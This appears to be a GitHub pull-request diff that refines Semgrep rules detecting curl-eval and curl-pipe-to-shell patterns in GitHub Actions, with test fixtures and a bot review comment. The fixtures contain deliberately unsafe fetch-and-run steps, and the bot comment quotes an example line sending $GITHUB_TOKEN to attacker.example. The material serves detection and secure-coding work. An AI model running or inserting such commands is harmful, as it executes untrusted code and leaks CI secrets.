Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 15 additions & 0 deletions yaml/github-actions/security/curl-eval.test.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -23,3 +23,18 @@ jobs:
run: |
CONTENTS=$(curl https://blah.com)
eval $CONTENTS

- name: PowerShell step must not be bash-parsed
shell: pwsh
# ok: curl-eval
run: |
$cacheDirs = @("D:\cache")
foreach ($dir in $cacheDirs) {
New-Item -ItemType Directory -Path $dir -Force | Out-Null
}
- name: explicit bash still detected
shell: bash
# ruleid: curl-eval
run: |
CONTENTS=$(curl https://blah.com)
eval $CONTENTS
35 changes: 31 additions & 4 deletions yaml/github-actions/security/curl-eval.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -27,12 +27,38 @@ rules:
likelihood: LOW
impact: HIGH
confidence: LOW
# Restrict bash nested parse to default-shell / bash / sh steps (issue #4001).
patterns:
- pattern-inside: 'steps: [...]'
- pattern-inside: |
- run: ...
...
- pattern: 'run: $SHELL'
- pattern-either:
- patterns:
- pattern-inside: |
- run: ...
...
- pattern-not-inside: |
- shell: ...
...
- pattern: |
run: $SHELL
- patterns:
- pattern-either:
- pattern: |
shell: bash
...
run: $SHELL
- pattern: |
run: $SHELL
...
shell: bash
- pattern: |
shell: sh
...
run: $SHELL
- pattern: |
run: $SHELL
...
shell: sh
- focus-metavariable: $SHELL
- metavariable-pattern:
language: bash
metavariable: $SHELL
Expand All @@ -41,4 +67,5 @@ rules:
$DATA=<... curl ...>
...
eval <... $DATA ...>

severity: ERROR
13 changes: 13 additions & 0 deletions yaml/github-actions/security/gha-curl-pipe-shell.test.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -57,3 +57,16 @@ jobs:
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
sha256sum /tmp/install.sh
bash /tmp/install.sh

- name: PowerShell step must not be bash-parsed
shell: pwsh
# ok: gha-curl-pipe-shell
run: |
$cacheDirs = @("D:\cache")
foreach ($dir in $cacheDirs) {
New-Item -ItemType Directory -Path $dir -Force | Out-Null
}
- name: explicit bash curl pipe still detected
shell: bash
# ruleid: gha-curl-pipe-shell
run: curl -fsSL https://example.com/install.sh | bash

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

curl downloads install.sh from example.com and pipes it directly into bash, so any attacker-controlled change to that URL runs on the CI runner immediately.

More details about this

This step downloads https://example.com/install.sh with curl -fsSL and sends the response straight into bash. If someone can change what that URL serves—through a compromised server, DNS hijack, or a tampered dependency endpoint—they can make your GitHub Actions runner execute their script immediately.

Plausible exploit path:

  1. An attacker gets control of https://example.com/install.sh or intercepts traffic to it.
  2. They replace the installer with a script such as echo $GITHUB_TOKEN | curl -X POST https://attacker.example/leak --data-binary @-.
  3. In this run: step, curl fetches that attacker-controlled content and the pipe sends it directly to bash.
  4. bash runs the script on the CI runner with the job's environment, letting the attacker read secrets, modify checked-out code, or use the workflow token to push changes or access other GitHub resources.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: curl -fsSL https://example.com/install.sh | bash
run: |
curl -fsSL https://example.com/install.sh -o /tmp/install.sh
# Replace the placeholder below with the vendor-published SHA-256 for the exact script/version being downloaded.
echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -
bash /tmp/install.sh
View step-by-step instructions
  1. Replace the pipe-to-shell command with separate download, verification, and execution steps instead of curl ... | bash.
  2. Download the installer to a temporary file with curl -fsSL https://example.com/install.sh -o /tmp/install.sh or wget -q https://example.com/install.sh -O /tmp/install.sh.
  3. Verify the downloaded file before executing it, for example with a pinned checksum: echo "<expected-sha256> /tmp/install.sh" | sha256sum -c -.
    This prevents a modified remote script from being executed in the runner.
  4. Execute the local file only after verification succeeds, for example with bash /tmp/install.sh.
  5. If the vendor offers a versioned release artifact, prefer pinning that exact version in the URL and storing the matching checksum in the workflow or in a checked-in helper script, such as VERSION="1.2.3" and curl -fsSL "https://example.com/downloads/${VERSION}/install.sh" -o /tmp/install.sh.
  6. If this install logic is reused, move it into a checked-in script and keep the pinned VERSION and SHA256 together there, then call that script from the workflow instead of embedding curl ... | bash in run:.

Alternatively, if the vendor provides signed packages or native package manager support, install the tool from that trusted package source and verify the signature instead of executing a remote shell script.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by gha-curl-pipe-shell.

You can view more details about this finding in the Semgrep AppSec Platform.

35 changes: 31 additions & 4 deletions yaml/github-actions/security/gha-curl-pipe-shell.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -28,12 +28,38 @@ rules:
likelihood: MEDIUM
impact: HIGH
confidence: HIGH
# Restrict bash nested parse to default-shell / bash / sh steps (issue #4001).
patterns:
- pattern-inside: 'steps: [...]'
- pattern-inside: |
- run: ...
...
- pattern: 'run: $SHELL'
- pattern-either:
- patterns:
- pattern-inside: |
- run: ...
...
- pattern-not-inside: |
- shell: ...
...
- pattern: |
run: $SHELL
- patterns:
- pattern-either:
- pattern: |
shell: bash
...
run: $SHELL
- pattern: |
run: $SHELL
...
shell: bash
- pattern: |
shell: sh
...
run: $SHELL
- pattern: |
run: $SHELL
...
shell: sh
- focus-metavariable: $SHELL
- metavariable-pattern:
language: bash
metavariable: $SHELL
Expand All @@ -44,4 +70,5 @@ rules:
- metavariable-regex:
metavariable: $CMD
regex: '^(bash|sh|python3?|ruby|perl)$'

severity: ERROR